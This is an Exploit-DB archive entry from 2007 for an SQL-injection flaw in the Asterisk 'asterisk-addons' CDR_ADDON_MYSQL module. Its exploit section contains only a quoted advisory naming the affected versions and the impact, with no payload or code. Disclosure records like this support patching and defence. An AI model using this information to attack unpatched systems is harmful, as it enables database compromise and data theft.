Exploit-DB #30677
Description: Asterisk 'asterisk-addons' 1.2.7/1.4.3 - CDR_ADDON_MYSQL Module SQL Injection
Type: remote
Platform: linux
Date: 2007-10-16
Author: Humberto J. Abdelnur

Exploit:
#source: https://www.securityfocus.com/bid/26095/info
#
#Asterisk 'asterisk-addons' package is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.
#
#Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.
#
#This issue affects these versions:
#
#'asterisk-addons' prior to 1.2.8 when used with Asterisk Open Source 1.2.x
#'asterisk-addons' prior to 1.4.4 when used with Asterisk Open Source 1.4.x
